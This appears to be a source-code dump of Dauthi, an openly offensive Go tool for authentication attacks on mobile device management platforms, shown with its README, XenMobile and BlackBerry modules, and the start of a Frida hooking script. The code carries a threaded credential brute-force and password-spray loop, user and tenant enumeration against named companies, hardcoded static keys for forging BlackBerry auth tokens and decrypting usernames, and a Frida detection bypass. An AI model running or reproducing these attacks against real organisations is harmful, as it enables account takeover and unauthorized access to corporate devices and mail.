| // Init mdma with default values and return obj 48 | func Init(o utils.ChargeOpts) *mdma { 49 | if o.Agent == "" { 50 | o.Agent = "CitrixReceiver/com.zenprise build/22.11.0 Android/11 VpnCapable X1Class" 51 | } 52 | if o.RUUID { 53 | o.UUID = utils.RandUUID(21) 54 | } 55 | log := utils.NewLogger("xenmobile") 56 | 57 | return &mdma{ 58 | opts: o, 59 | logr: log, 60 | cycle: cycle{ 61 | api: &utils.API{ 62 | Debug: o.Debug, 63 | Log: log, 64 | Proxy: o.Proxy}, 65 | }, 66 | } 67 | } 68 | 69 | // clone() copies an *mdma for process threading 70 | func (m *mdma) clone() *mdma { 71 | clone := Init(m.opts) // assign target 72 | clone.cycle.block = m.cycle.block 73 | clone.cycle.buff = m.cycle.buff 74 | 75 | return clone 76 | } 77 | 78 | // Wrapper to parse JSON/XML objects 79 | func (m *mdma) parser(data interface{}, p string) bool { 80 | switch p { 81 | case "json": 82 | err := m.cycle.api.Resp.ParseJSON(data) 83 | if err != nil { 84 | m.logr.Errorf([]interface{}{m.opts.Method}, "Response Marshall Error: %v", err) 85 | return true 86 | } 87 | 88 | case "xml": 89 | err := m.cycle.api.Resp.ParseXML(data) 90 | if err != nil { 91 | m.logr.Errorf([]interface{}{m.opts.Method}, "Response Marshall Error: %v", err) 92 | return true 93 | } 94 | } 95 | 96 | return false 97 | } 98 | 99 | func (m *mdma) disco() { 100 | m.cycle.api.Name = `discoveryAPI` 101 | m.cycle.api.URL = fmt.Sprintf(discoveryAPI, m.opts.Endpoint) 102 | m.cycle.api.Data = "" 103 | m.cycle.api.Method = `GET` 104 | 105 | m.cycle.api.WebCall() 106 | if m.cycle.api.Resp.Status != 200 { 107 | m.logr.Failf([]interface{}{m.opts.Endpoint}, "Discovery Failed") 108 | return 109 | } 110 | 111 | m.validate() 112 | } 113 | 114 | func (m *mdma) prof() { 115 | m.cycle.api.Name = `getServerInfo` 116 | m.cycle.api.URL = fmt.Sprintf(getServerInfo, m.opts.Endpoint) 117 | m.cycle.api.Data = "" 118 | m.cycle.api.Method = `GET` 119 | m.cycle.api.Opts = &map[string]interface{}{ 120 | "Header": map[string][]string{ 121 | "User-Agent": []string{m.opts.Agent}}} 122 | 123 | m.cycle.api.WebCall() 124 | if m.cycle.api.Resp.Status != 200 { 125 | m.logr.Failf([]interface{}{m.opts.Endpoint}, "Profile Failed") 126 | return 127 | } 128 | 129 | m.validate() 130 | } 131 | 132 | func (m *mdma) auth() { 133 | var file []byte 134 | var err error 135 | 136 | if m.opts.File != "" { 137 | file, err = utils.ReadFile(m.opts.File) 138 | if err != nil { 139 | m.logr.Fatalf([]interface{}{m.opts.File}, "File Read Failure") 140 | } 141 | } 142 | 143 | lines := strings.Split(string(file), "\n") 144 | block := make(chan bool, m.opts.Threads) 145 | buff := make(chan bool, len(lines)) 146 | m.cycle.block = &block 147 | m.cycle.buff = &buff 148 | m.cycle.length = len(lines) 149 | 150 | m.logr.Infof([]interface{}{m.opts.Method}, "threading %d values across %d threads", m.cycle.length, m.opts.Threads) 151 | 152 | for _, line := range lines { 153 | if len(lines) > 1 && line == "" { 154 | *m.cycle.buff <- true 155 | continue 156 | } 157 | 158 | target := m.clone() // assign target 159 | 160 | switch m.opts.Method { 161 | case "auth": 162 | if line == "" { 163 | line = target.opts.UserName 164 | } else { 165 | target.opts.UserName = line 166 | } 167 | 168 | target.cycle.api.Name = `checkLogin` 169 | target.cycle.api.URL = fmt.Sprintf(checkLogin, target.opts.Endpoint) 170 | target.cycle.api.Data = fmt.Sprintf(POSTcheckLogin, target.opts.UserName, target.opts.Password) 171 | target.cycle.api.Method = `POST` 172 | target.cycle.api.Opts = &map[string]interface{}{ 173 | "Header": map[string][]string{ 174 | "User-Agent": []string{target.opts.Agent}, 175 | "Content-Type": []string{"application/x-www-form-urlencoded"}}} 176 | } 177 | 178 | target.thread() 179 | } 180 | 181 | for i := 0; i < m.cycle.length; i++ { 182 | <-*m.cycle.buff 183 | } 184 | close(*m.cycle.block) 185 | close(*m.cycle.buff) 186 | } 187 | 188 | // thread represents the threading process to loop multiple requests 189 | func (m *mdma) thread() { 190 | *m.cycle.block <- true 191 | go func() { 192 | m.cycle.api.WebCall() 193 | if m.cycle.api.Resp.Status == 0 { 194 | if m.opts.Miss < m.opts.Retry { 195 | m.opts.Miss++ 196 | m.logr.Infof([]interface{}{m.opts.Endpoint, m.opts.UserName, m.opts.Password}, "Retrying Request") 197 | <-*m.cycle.block 198 | m.thread() 199 | return 200 | } 201 | m.logr.Failf([]interface{}{m.opts.UserName, m.opts.Password}, "Null Server Response") 202 | } 203 | m.validate() 204 | 205 | // Sleep interval through thread loop 206 | time.Sleep(time.Duration(m.opts.Sleep) * time.Second) 207 | <-*m.cycle.block 208 | *m.cycle.buff <- true 209 | }() 210 | } 211 | 212 | func (m *mdma) validate() { 213 | switch m.opts.Method { 214 | case "disco": 215 | var check struct { 216 | WorkSpace struct { 217 | URL []struct { 218 | Value string `json:"url"` 219 | } `json:"serviceUrls"` 220 | } `json:"workspace"` 221 | DomainType string `json:"domainType"` 222 | } 223 | if m.parser(&check, "json") { 224 | return 225 | } 226 | 227 | if len(check.WorkSpace.URL) > 0 { 228 | for _, url := range check.WorkSpace.URL { 229 | m.logr.Successf([]interface{}{url.Value}, "Endpoint Discovery") 230 | } 231 | } else { 232 | m.logr.Errorf([]interface{}{m.opts.Method}, "Failed to identify Endpoints") 233 | } 234 | 235 | case "prof": 236 | var check struct { 237 | Enabled bool `xml:"result>serverInfo>enrollmentConfig>enrollmentEnabled"` 238 | PIN bool `xml:"result>serverInfo>enrollmentConfig>enrollmentPIN"` 239 | Password bool `xml:"result>serverInfo>enrollmentConfig>enrollmentPassword"` 240 | Type int `xml:"result>serverInfo>enrollmentConfig>enrollmentType"` 241 | User bool `xml:"result>serverInfo>enrollmentConfig>enrollmentUsername"` 242 | } 243 | if m.parser(&check, "xml") { 244 | return 245 | } 246 | 247 | if check.Enabled { 248 | m.logr.Successf([]interface{}{check.Type}, "Enrollment Enabled") 249 | } else { 250 | m.logr.Failf([]interface{}{check.Type}, "Enrollment Disabled") 251 | } 252 | if check.PIN { 253 | m.logr.Successf([]interface{}{check.Type}, "PIN Authentication Enabled") 254 | } 255 | if check.Password { 256 | m.logr.Successf([]interface{}{check.Type}, "Password Authentication Enabled") 257 | } 258 | if check.User { 259 | m.logr.Successf([]interface{}{check.Type}, "Username Authentication Enabled") 260 | } 261 | 262 | case "auth": 263 | var check struct { 264 | Answer bool `json:"result>checkLogin>answer"` 265 | } 266 | if m.parser(&check, "json") { 267 | return 268 | } 269 | 270 | if check.Answer { 271 | m.logr.Successf([]interface{}{m.opts.UserName, m.opts.Password}, "Authentication Successful") 272 | return 273 | } 274 | m.logr.Failf([]interface{}{m.opts.UserName, m.opts.Password}, "Authentication Failed") 275 | 276 | } 277 | } 278 | 279 | // Call represents the switch function for activating all class methods 280 | func (m *mdma) Call() { 281 | switch m.opts.Method { 282 | case "disco": 283 | if m.opts.Endpoint == "" { 284 | m.logr.Errorf([]interface{}{m.opts.Method}, "Endpoint required") 285 | } 286 | m.disco() 287 | 288 | case "prof": 289 | if m.opts.Endpoint == "" { 290 | m.logr.Errorf([]interface{}{m.opts.Method}, "Endpoint required") 291 | return 292 | } 293 | m.prof() 294 | 295 | case "auth": 296 | if (m.opts.UserName == "" && m.opts.File == "") || m.opts.Password == "" { 297 | m.logr.Errorf([]interface{}{m.opts.Method}, "User/Password or File/Password required") 298 | return 299 | } 300 | m.auth() 301 | 302 | default: 303 | m.logr.StdOut(Methods) 304 | m.logr.Fatalf(nil, "Invalid Method Selected %v", m.opts.Method) 305 | } 306 | } 307 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |

2 | 3 |

4 | 5 | ## Description 6 | **Dauthi** is a tool designed to perform authentication attacks against various Mobile Device Management (MDM) solutions. This tool represents the evolutionary growth from my original research on [airCross](https://github.com/emptynebuli/airCross) and [rustyIron](https://github.com/emptynebuli/rustyIron). Unlike these past examples, Dauthi is build with a dedicated class for each framework. This allows for the tool to scale and meet the demands of various MDM platforms. 7 | 8 | ## Usage 9 | ``` 10 | ; 11 | ED. 12 | E#Wi : 13 | E###G. Ef . . t 14 | E#fD#W; .. E#t GEEEEEEEL Di Dt Ej 15 | E#t t##L ;W, E#t ,;;L#K;;. E#i E#i E#, 16 | E#t .E#K, j##, E#t t#E E#t E#t E#t 17 | E#t j##f G###, E#t fi t#E E#t E#t E#t 18 | E#t :E#K: :E####, E#t L#j t#E E########f. E#t 19 | E#t t##L ;W#DG##, E#t L#L t#E E#j..K#j... E#t 20 | E#t .D#W; j###DW##, E#tf#E: t#E E#t E#t E#t 21 | E#tiW#G. G##i,,G##, E###f t#E E#t E#t E#t 22 | E#K##i :K#K: L##, E#K, t#E f#t f#t E#t 23 | E##D. ;##D. L##, EL fE ii ii E#t 24 | E#t ,,, .,, : : ,;. 25 | L: 26 | @emptynebuli 27 | 28 | Usage: 29 | dauthi [OPTIONS] 30 | dauthi [charge] -h | -help 31 | dauthi -v 32 | 33 | Global Options: 34 | -d Enable debug output (incremental -ddd) 35 | -h, -help Show usage 36 | -hh Extended help 37 | -p User password value 38 | -r Disable randomize device ID 39 | -s Silent - disable banner output 40 | -t Application threads [default: 10] 41 | -u Username value 42 | -v, -version Version details 43 | 44 | -proxy SOCKS5 proxy IP and port for traffic tunneling (aka 127.0.0.1:8081) 45 | -retry Number of retry attempts on failed connections [default: 1] 46 | -sleep Sleep timer per thread groups in Seconds (aka 3) 47 | -uuid Device UUID value 48 | 49 | Target FQDN for Discovery 50 | MDM Authentication Endpoint 51 | Encrypted CipherTXT 52 | Line divided file containing brute-force values 53 | 54 | dauthi Charges: 55 | disco Global discovery of all charges 56 | 57 | airwatch VMWare AirWatch 58 | blackberry BlackBerry UEM 59 | intune Microsoft Intune 60 | mfa Various MFA Authenticators 61 | mobileiron Ivanti MobileIron 62 | xenmobile Citrix XenMobile 63 | 64 | ``` 65 | 66 | Depending on the `charge` that is selected different *sub* command options will become available. The below example shows the `AirWatch` charge options: 67 | 68 | ```$ dauthi airwatch -s 69 | 70 | Usage: 71 | dauthi [OPTIONS] 72 | dauthi [charge] -h | -help 73 | dauthi -v 74 | 75 | Global Options: 76 | -d Enable debug output (incremental -ddd) 77 | -h, -help Show usage 78 | -hh Extended help 79 | -p User password value 80 | -r Disable randomize device ID 81 | -s Silent - disable banner output 82 | -t Application threads [default: 10] 83 | -u Username value 84 | -v, -version Version details 85 | 86 | -proxy SOCKS5 proxy IP and port for traffic tunneling (aka 127.0.0.1:8081) 87 | -retry Number of retry attempts on failed connections [default: 1] 88 | -sleep Sleep timer per thread groups in Seconds (aka 3) 89 | -uuid Device UUID value 90 | 91 | Target FQDN for Discovery 92 | MDM Authentication Endpoint 93 | Encrypted CipherTXT 94 | Line divided file containing brute-force values 95 | 96 | AirWatch Options: 97 | -a User-Agent [default: Agent/20.08.0.23/Android/11] 98 | 99 | -email Target email 100 | -gid AirWatch GroupID Value 101 | -sgid AirWatch sub-GroupID Value 102 | -sint AirWatch sub-GroupID INT value (Associated to multiple groups) 103 | 104 | AirWatch Methods: 105 | disco GroupID discovery query 106 | prof GroupID validation query 107 | enum-gid GroupID brute-force enumeration 108 | auth-box-login Boxer login SFA attack (Requires Email) 109 | auth-box-reg Boxer MDM registration SFA attack (Requires Email) 110 | auth-box-lgid Boxer login SFA attack w/ multi-group tenants 111 | auth-val AirWatch single-factor credential validation attack 112 | 113 | ``` 114 | 115 | Executing the `disco` charge will run discovery against all available charges. This is helpful to determine what MDM solutions a domain maybe hosting. 116 | 117 | ``` 118 | $ dauthi disco microsoft.com 119 | 120 | ; 121 | ED. 122 | E#Wi : 123 | E###G. Ef . . t 124 | E#fD#W; .. E#t GEEEEEEEL Di Dt Ej 125 | E#t t##L ;W, E#t ,;;L#K;;. E#i E#i E#, 126 | E#t .E#K, j##, E#t t#E E#t E#t E#t 127 | E#t j##f G###, E#t fi t#E E#t E#t E#t 128 | E#t :E#K: :E####, E#t L#j t#E E########f. E#t 129 | E#t t##L ;W#DG##, E#t L#L t#E E#j..K#j... E#t 130 | E#t .D#W; j###DW##, E#tf#E: t#E E#t E#t E#t 131 | E#tiW#G. G##i,,G##, E###f t#E E#t E#t E#t 132 | E#K##i :K#K: L##, E#K, t#E f#t f#t E#t 133 | E##D. ;##D. L##, EL fE ii ii E#t 134 | E#t ,,, .,, : : ,;. 135 | L: 136 | @emptynebuli 137 | 138 | [*] [airwatch] [disco] Using sample email: dave@microsoft.com 139 | [+] [airwatch] [dmp.nokia.com] Endpoint Discovery 140 | [+] [airwatch] [Nokia] GroupID Discovery 141 | [-] [mobileiron] [microsoft.com] Discovery Failed 142 | [-] [xenmobile] [microsoft.com] Discovery Failed 143 | [*] [blackberry] [disco] Using sample email: dave@microsoft.com 144 | [-] [blackberry] [microsoft.com] Discovery Failed 145 | ``` 146 | 147 | As an additional plus, I have pulled some functionality from [TREVORspray](https://github.com/blacklanternsecurity/TREVORspray) within the `intune` charge. These options can be used to pull tenant values from 0365 and identify other domains an organization may be hosting. 148 | 149 | ``` 150 | Intune Methods: 151 | disco intune endpoint discovery query 152 | disco-tenant o365 tenant/domain query 153 | prof-outlook Outlook Mobile service profiling 154 | enum-onedrive o365 onedrive email enumeration of target o365 tenant 155 | enum-onedrive-full o365 onedrive email enumeration of all o365 tenant/domains 156 | enum-outlook Outlook Mobile user enumeration 157 | auth-async SFA against 0365 Active-Sync endpoint 158 | auth-msol SFA against o365 OAuth endpoint 159 | auth-outlook SFA against o365 Outlook Basic Auth 160 | ``` 161 | 162 | ``` 163 | $ dauthi intune disco-tenant -s github.com 164 | [*] [intune] [8] o365 Tenant(2) Identified 165 | [+] [intune] [MicrosoftEur] Tenant Domain 166 | [+] [intune] [MicrosoftAPC] Tenant Domain 167 | [+] [intune] [msfts2] Tenant Domain 168 | [+] [intune] [msfts2.mail] Tenant Domain 169 | [+] [intune] [microsoftprd] Tenant Domain 170 | [+] [intune] [microsoftcan] Tenant Domain 171 | [+] [intune] [microsoft.mail] Tenant Domain 172 | [+] [intune] [microsoft] Tenant Domain 173 | [*] [intune] [288] o365 Domain(s) Identified 174 | [+] [intune] [munich.microsoft.com] Alias Domain 175 | [+] [intune] [video2brain.com] Alias Domain 176 | [+] [intune] [exchange.microsoft.com] Alias Domain 177 | [+] [intune] [preonboarding.microsoft.com] Alias Domain 178 | [+] [intune] [email2.microsoft.com] Alias Domain 179 | [+] [intune] [fast.no] Alias Domain 180 | ... 181 | ``` 182 | 183 | ## Charge Template 184 | New charges carry the following basic tempate structure. 185 | 186 | ```golang 187 | package 188 | 189 | const ( 190 | // Usage details for charge 191 | Usage = `` 192 | 193 | // Methods are available tool methods 194 | Methods = `` 195 | ) 196 | 197 | // Init mdma with default values and return obj 198 | func Init(o utils.ChargeOpts) *mdma { 199 | 200 | } 201 | 202 | // disco is the discovery function call 203 | func (m *mdma) disco() { 204 | 205 | } 206 | 207 | // prof is the function call for pulling validation details from the MDM 208 | func (m *mdma) prof() { 209 | 210 | } 211 | 212 | // auth is the function call for performing authentication functions 213 | func (m *mdma) auth() { 214 | 215 | } 216 | 217 | // thread is the function call for recursion 218 | func (m *mdma) thread() { 219 | 220 | } 221 | 222 | // validate is used to validate the return context of a Charge requests 223 | func (m *mdma) validate() { 224 | 225 | } 226 | 227 | // Call represents the switch function for activating all class methods 228 | func (m *mdma) Call() { 229 | 230 | } 231 | ``` 232 | 233 | ## Background Research 234 | * [VMWare Airwatch](https://emptynebuli.github.io/tooling/2020/12/11/aircross.html) 235 | * [Ivanti MobileIron](https://emptynebuli.github.io/tooling/2021/03/22/rustyiron.html) 236 | * [BlackBerry](https://emptynebuli.github.io/tooling/2024/04/22/blackberryMDM.html) 237 | 238 | ## Credits 239 | * [TREVORspray](https://github.com/blacklanternsecurity/TREVORspray) 240 | -------------------------------------------------------------------------------- /charges/blackberry/blackberry.go: -------------------------------------------------------------------------------- 1 | package blackberry 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | URL "net/url" 7 | "strings" 8 | "time" 9 | 10 | "crypto/aes" 11 | "crypto/cipher" 12 | "crypto/hmac" 13 | "crypto/sha512" 14 | "encoding/base64" 15 | "encoding/hex" 16 | 17 | "dauthi/utils" 18 | ) 19 | 20 | type mdma struct { 21 | opts utils.ChargeOpts 22 | logr *utils.Logger 23 | cycle 24 | } 25 | 26 | type cycle struct { 27 | buff *chan bool 28 | block *chan bool 29 | length int 30 | api *utils.API 31 | } 32 | 33 | const ( 34 | Usage = ` 35 | BlackBerry Options: 36 | -a User-Agent for request [default: Agent/20.08.0.23/Android/11] 37 | 38 | -pub SPEKE secp521r1 public certificate 39 | -pri SPEKE secp521r1 private key 40 | -email User Email address 41 | ` 42 | 43 | // Methods are available tool methods 44 | Methods = ` 45 | BlackBerry Methods: 46 | disco BlackBerry endpoint discovery query 47 | decrypt Decrypt BlackBerry username details 48 | prof Profile the BlackBerry provisioning details 49 | auth-user BlackBerry user based authentication 50 | ` 51 | // HMACSHA512 static salt 52 | hmacsalt = "\xA4\x6B\xF8\x4C\xD3\x0B\xD0\x99\x49\xCA\x01\x12\xB0\x01\x4B\xE3" 53 | // HMACSHA512 static key 54 | hmackey = "\x3D\xAD\xA2\xC2\xCB\x99\x92\xF7\xE3\xFB\xE5\x13\x9E\x8B\x40\xD4\x34" + 55 | "\x87\x76\x90\xA2\x22\x28\xE2\xFA\x93\xA8\x04\x04\xB4\x80\x3C\xB2\x68\xB6\x04" + 56 | "\xEE\x75\x0B\xBC\x4C\x4F\x42\x71\x6F\xB9\xEF\x47\x04\x5C\xC5\x6D\xB8\xAF\xB5" + 57 | "\x6B\x99\xAB\x1F\xEF\xA5\xCD\x58\xA4" 58 | 59 | // aes256cbc static key 60 | aes256key = "\x32\xf4\x92\x98\x09\x9d\xba\xe9\x70\xd6\x6c\xaa\x29\x6a\xa2\xef\xf9" + 61 | "\x4e\xaf\x67\xb1\x5d\x37\xe1\x32\x84\x81\x2e\xbf\x86\x1d\xb2" 62 | 63 | // aes256cbc static IV 64 | aes256IV = "\xca\x42\x20\x38\x1a\x39\xd9\x48\xf1\x86\xd4\x03\x76\x34\x3f\x70" 65 | 66 | discoveryAPI = `https://discoveryservice.blackberry.com/discoveryPoxmlServlet/discoveryMdmInput` 67 | profileAPI = `https://%s%s/mdm` 68 | enrollAPI = `https://%s%s/mdm/enrol/%s` 69 | 70 | postDiscovery = `` + 72 | `12.40.1.157442unknownPixel 2 XL` + 73 | `taimenGoogleandroid` + 74 | `11%s` 75 | postEnrol = `%s` + 76 | `0;1;%s%s` 77 | ) 78 | 79 | func b64encode(v []byte) string { 80 | return base64.StdEncoding.EncodeToString(v) 81 | } 82 | 83 | func b64decode(v string) []byte { 84 | data, _ := base64.StdEncoding.DecodeString(v) 85 | return data 86 | } 87 | 88 | func sha512hmac(time string) string { 89 | mac := hmac.New(sha512.New, []byte(hmackey)) 90 | msg := fmt.Sprintf("unknowntaimen%s%s", time, hmacsalt) 91 | mac.Write([]byte(msg)) 92 | return b64encode(mac.Sum(nil)) 93 | } 94 | 95 | func pkcs5Padding(ciphertext []byte, blockSize int, after int) []byte { 96 | padding := (blockSize - len(ciphertext)%blockSize) 97 | padtext := bytes.Repeat([]byte{byte(padding)}, padding) 98 | return append(ciphertext, padtext...) 99 | } 100 | 101 | func aes256encrypt(v string) string { 102 | bPlaintext := pkcs5Padding([]byte(v), aes.BlockSize, len(v)) 103 | block, _ := aes.NewCipher([]byte(aes256key)) 104 | ciphertext := make([]byte, len(bPlaintext)) 105 | mode := cipher.NewCBCEncrypter(block, []byte(aes256IV)) 106 | mode.CryptBlocks(ciphertext, bPlaintext) 107 | 108 | result := fmt.Sprintf("%s%s", aes256IV, ciphertext) 109 | return b64encode([]byte(result)) 110 | } 111 | 112 | func aes256decrypt(v string) []byte { 113 | decoded := b64decode(v) 114 | pre := decoded[0:16] 115 | data := decoded[16:] 116 | block, _ := aes.NewCipher([]byte(aes256key)) 117 | mode := cipher.NewCBCDecrypter(block, []byte(aes256IV)) 118 | mode.CryptBlocks(data, data) 119 | return append(pre, data...) 120 | } 121 | 122 | // Init mdma with default values and return obj 123 | func Init(o utils.ChargeOpts) *mdma { 124 | if o.Agent == "" { 125 | o.Agent = "Agent/20.08.0.23/Android/11" 126 | } 127 | log := utils.NewLogger("blackberry") 128 | 129 | return &mdma{ 130 | opts: o, 131 | logr: log, 132 | cycle: cycle{ 133 | api: &utils.API{ 134 | Debug: o.Debug, 135 | Log: log, 136 | Proxy: o.Proxy}, 137 | }, 138 | } 139 | } 140 | 141 | // clone() copies an *mdma for process threading 142 | func (m *mdma) clone() *mdma { 143 | clone := Init(m.opts) // assign target 144 | clone.cycle.block = m.cycle.block 145 | clone.cycle.buff = m.cycle.buff 146 | 147 | return clone 148 | } 149 | 150 | // Wrapper to parse JSON/XML objects 151 | func (m *mdma) parser(data interface{}, p string) bool { 152 | switch p { 153 | case "json": 154 | err := m.cycle.api.Resp.ParseJSON(data) 155 | if err != nil { 156 | m.logr.Errorf([]interface{}{m.opts.Method}, "Response Marshall Error: %v", err) 157 | return true 158 | } 159 | 160 | case "xml": 161 | err := m.cycle.api.Resp.ParseXML(data) 162 | if err != nil { 163 | m.logr.Errorf([]interface{}{m.opts.Method}, "Response Marshall Error: %v", err) 164 | return true 165 | } 166 | } 167 | 168 | return false 169 | } 170 | 171 | func (m *mdma) disco() { 172 | tstamp := fmt.Sprintf("%v", time.Now().UnixMilli()) 173 | 174 | m.cycle.api.Name = `discoveryAPI` 175 | m.cycle.api.URL = discoveryAPI 176 | m.cycle.api.Data = fmt.Sprintf(postDiscovery, m.opts.Email) 177 | m.cycle.api.Method = `POST` 178 | m.cycle.api.Opts = &map[string]interface{}{ 179 | "Header": map[string][]string{ 180 | "RequestVersion": []string{"1.0"}, 181 | "X-Timestamp": []string{tstamp}, 182 | "Content-Type": []string{"application/xml"}, 183 | "X-AuthToken": []string{sha512hmac(tstamp)}, 184 | "Accept": []string{"application/xml"}, 185 | "X-AuthType": []string{"android"}, 186 | "User-Agent": []string{m.opts.Agent}, 187 | "Accept-Encoding": []string{"gzip, deflate"}}} 188 | 189 | m.cycle.api.WebCall() 190 | if m.cycle.api.Resp.Status != 200 { 191 | m.logr.Failf([]interface{}{m.opts.Endpoint}, "Discovery Failed") 192 | return 193 | } 194 | 195 | m.validate() 196 | } 197 | 198 | func (m *mdma) prof() { 199 | parsedURL, _ := URL.Parse(m.opts.Endpoint) 200 | 201 | m.cycle.api.Name = `profileAPI` 202 | m.cycle.api.URL = fmt.Sprintf(profileAPI, parsedURL.Host, parsedURL.Path) 203 | m.cycle.api.Data = "" 204 | m.cycle.api.Method = `OPTIONS` 205 | m.cycle.api.Opts = &map[string]interface{}{ 206 | "Header": map[string][]string{ 207 | "User-Agent": []string{m.opts.Agent}}} 208 | 209 | m.cycle.api.WebCall() 210 | if m.cycle.api.Resp.Header == nil { 211 | m.logr.Failf([]interface{}{m.opts.Endpoint}, "Profile Failed") 212 | return 213 | } 214 | m.validate() 215 | } 216 | 217 | func (m *mdma) auth() { 218 | parsedURL, _ := URL.Parse(m.opts.Endpoint) 219 | var file []byte 220 | var err error 221 | 222 | if m.opts.File != "" { 223 | file, err = utils.ReadFile(m.opts.File) 224 | if err != nil { 225 | m.logr.Fatalf([]interface{}{m.opts.File}, "File Read Failure") 226 | } 227 | } 228 | 229 | lines := strings.Split(string(file), "\n") 230 | block := make(chan bool, m.opts.Threads) 231 | buff := make(chan bool, len(lines)) 232 | m.cycle.block = &block 233 | m.cycle.buff = &buff 234 | m.cycle.length = len(lines) 235 | 236 | m.logr.Infof([]interface{}{m.opts.Method}, "buffing %d values across %d buffs", m.cycle.length, m.opts.Threads) 237 | 238 | for _, line := range lines { 239 | if len(lines) > 1 && line == "" { 240 | *m.cycle.buff <- true 241 | continue 242 | } 243 | 244 | target := m.clone() // assign target 245 | 246 | switch m.opts.Method { 247 | case "auth-user": 248 | if line == "" { 249 | line = target.opts.UserName 250 | } else { 251 | target.opts.UserName = line 252 | } 253 | pubX, _ := hex.DecodeString(target.opts.PubCert) 254 | target.cycle.api.Name = `checkLogin` 255 | target.cycle.api.URL = fmt.Sprintf(enrollAPI, parsedURL.Host, parsedURL.Path, utils.RandGUID()) 256 | target.cycle.api.Data = fmt.Sprintf(postEnrol, b64encode([]byte(utils.RandUUID(16))), aes256encrypt(target.opts.UserName), b64encode(pubX)) 257 | target.cycle.api.Method = `PUT` 258 | target.cycle.api.Opts = &map[string]interface{}{ 259 | "Header": map[string][]string{ 260 | "User-Agent": []string{target.opts.Agent}, 261 | "Content-Type": []string{"text/plain"}}} 262 | } 263 | 264 | target.thread() 265 | } 266 | 267 | for i := 0; i < m.cycle.length; i++ { 268 | <-*m.cycle.buff 269 | } 270 | close(*m.cycle.block) 271 | close(*m.cycle.buff) 272 | } 273 | 274 | // thread represents the buffing process to loop multiple requests 275 | func (m *mdma) thread() { 276 | *m.cycle.block <- true 277 | go func() { 278 | m.cycle.api.WebCall() 279 | if m.cycle.api.Resp.Status == 0 { 280 | if m.opts.Miss < m.opts.Retry { 281 | m.opts.Miss++ 282 | m.logr.Infof([]interface{}{m.opts.Endpoint, m.opts.UserName, m.opts.Password}, "Retrying Request") 283 | <-*m.cycle.block 284 | m.thread() 285 | return 286 | } 287 | m.logr.Failf([]interface{}{m.opts.Endpoint, m.opts.UserName, m.opts.Password}, "Null Server Response") 288 | } 289 | m.validate() 290 | 291 | // Sleep interval through buff loop 292 | time.Sleep(time.Duration(m.opts.Sleep) * time.Second) 293 | <-*m.cycle.block 294 | *m.cycle.buff <- true 295 | }() 296 | } 297 | 298 | func (m *mdma) validate() { 299 | switch m.opts.Method { 300 | case "disco": 301 | var check struct { 302 | ResponseCode int `xml:"responseCode"` 303 | ActivationInfo string `xml:"config>activationInfo"` 304 | Version string `json:"versionInfo"` 305 | Endpoint map[string]string `json:"endpointInfo"` 306 | } 307 | if m.parser(&check, "xml") { 308 | return 309 | } 310 | if check.ResponseCode == 601 { 311 | m.logr.Failf([]interface{}{m.opts.Endpoint}, "Discovery Failed") 312 | return 313 | } 314 | 315 | m.cycle.api.Resp.Body = b64decode(check.ActivationInfo) 316 | if m.parser(&check, "json") { 317 | return 318 | } 319 | 320 | m.logr.Successf([]interface{}{m.opts.Endpoint, check.Endpoint["serverAddress"]}, "Endpoint Discovered") 321 | 322 | case "prof": 323 | m.logr.Successf(nil, "Temporary Profile: \n%s\n", m.cycle.api.Resp.Header) 324 | 325 | case "auth-user": 326 | var check struct { 327 | Code string `xml:"code"` 328 | MSG string `xml:"message"` 329 | TranID string `xml:"transaction-id"` 330 | } 331 | if m.parser(&check, "xml") { 332 | return 333 | } 334 | m.logr.Successf([]interface{}{m.opts.UserName, m.opts.Password}, "Authentication Successful") 335 | 336 | } 337 | } 338 | 339 | // Call represents the switch function for activating all class methods 340 | func (m *mdma) Call() { 341 | switch m.opts.Method { 342 | case "disco": 343 | if m.opts.Email == "" { 344 | email := "dave@" + m.opts.Endpoint 345 | m.logr.Infof([]interface{}{m.opts.Method}, "Using sample email: %s", email) 346 | m.opts.Email = email 347 | } 348 | m.disco() 349 | 350 | case "prof": 351 | if m.opts.Endpoint == "" { 352 | m.logr.Errorf([]interface{}{m.opts.Method}, "Endpoint required") 353 | return 354 | } 355 | m.prof() 356 | 357 | case "auth-user": 358 | if (m.opts.UserName == "" && m.opts.File == "") || m.opts.PubCert == "" { 359 | m.logr.Errorf([]interface{}{m.opts.Method}, "User/PubCert or File/PubCert required") 360 | return 361 | } 362 | m.auth() 363 | 364 | case "decrypt": 365 | if m.opts.Endpoint == "" { 366 | m.logr.Errorf([]interface{}{m.opts.Method}, "CipherTXT required") 367 | return 368 | } 369 | data := aes256decrypt(m.opts.Endpoint) 370 | m.logr.Successf([]interface{}{m.opts.Method}, "%x%s", data[0:16], data[16:]) 371 | 372 | default: 373 | m.logr.StdOut(Methods) 374 | m.logr.Fatalf(nil, "Invalid Method Selected %v", m.opts.Method) 375 | } 376 | } 377 | -------------------------------------------------------------------------------- /blackberry.js: -------------------------------------------------------------------------------- 1 | // thanks: https://awakened1712.github.io/hacking/hacking-frida/ 2 | function bytes2hex(array) { 3 | var result = ''; 4 | for (var i = 0; i < array.length; ++i) 5 | result += ('0' + (array[i] & 0xFF).toString(16)).slice(-2); 6 | return result; 7 | }; 8 | 9 | function edianPTR(array) { 10 | var result = ''; 11 | for (var i = 4; i >= 0; i--) 12 | result += ('0' + (array[i] & 0xFF).toString(16)).slice(-2); 13 | console.log('[*] PTR: 0x'+result) 14 | return ptr('0x'+result) 15 | } 16 | 17 | // setTimeout is used to defines the timeout counter before the Java.perform function is call 18 | setTimeout(function(){ 19 | if (Java.available) { 20 | // Java.perform is the Frida function call to start injection 21 | Java.perform(function (){ 22 | var SplashScreenViewModel = Java.use("com.blackberry.ema.ui.SplashScreenViewModel"); 23 | let UtilT = Java.use("com.blackberry.emalib.util.t"); 24 | let LoggingLog = Java.use("com.good.gd.apache.commons.logging.Log"); 25 | var UtilE = Java.use("com.blackberry.emalib.util.e"); 26 | var h0dooor = Java.use('com.blackberry.ema.service.h0Dooor.hooodor.h0dooor'); 27 | var EnrollInterface = Java.use("com.blackberry.enrollment.EnrollInterface"); 28 | var EnrollInterface = Java.use("com.blackberry.enrollment.EnrollInterface"); 29 | 30 | // Bypass Frida detection 31 | SplashScreenViewModel["hooDoR"].implementation = function () { 32 | console.log('[*] Caught SplashScreenViewModel'); 33 | console.log('[+] Bypass Hooking Detection'); 34 | this._Hod0R.value = false 35 | this.Hod0r.value = false 36 | return false 37 | }; 38 | 39 